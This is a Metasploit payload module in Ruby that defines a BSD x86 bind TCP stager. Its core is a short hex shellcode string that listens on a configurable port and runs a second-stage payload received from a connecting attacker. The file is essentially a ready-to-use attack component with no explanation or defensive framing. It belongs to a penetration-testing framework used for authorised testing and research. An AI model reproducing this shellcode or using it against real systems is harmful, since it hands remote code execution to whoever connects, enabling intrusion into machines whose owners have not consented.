##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'
require 'msf/core/handler/bind_tcp'


###
#
# BindTcp
# -------
#
# BSD bind TCP stager.
#
###
module MetasploitModule

  CachedSize = 54

  include Msf::Payload::Stager

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Bind TCP Stager',
      'Description'   => 'Listen for a connection',
      'Author'        => 'skape',
      'License'       => MSF_LICENSE,
      'Platform'      => 'bsd',
      'Arch'          => ARCH_X86,
      'Handler'       => Msf::Handler::BindTcp,
      'Stager'        =>
        {
          'Offsets' =>
            {
              'LPORT' => [ 0x8, 'n'    ],
            },
          'Payload' =>
            "\x6a\x61\x58\x99\x52\x68\x10\x02\xbf\xbf\x89\xe1\x52\x42\x52\x42" +
            "\x52\x6a\x10\xcd\x80\x99\x93\x51\x53\x52\x6a\x68\x58\xcd\x80\xb0" +
            "\x6a\xcd\x80\x52\x53\xb6\x10\x52\xb0\x1e\xcd\x80\x51\x50\x51\x97" +
            "\x6a\x03\x58\xcd\x80\xc3"
        }
      ))
  end

end
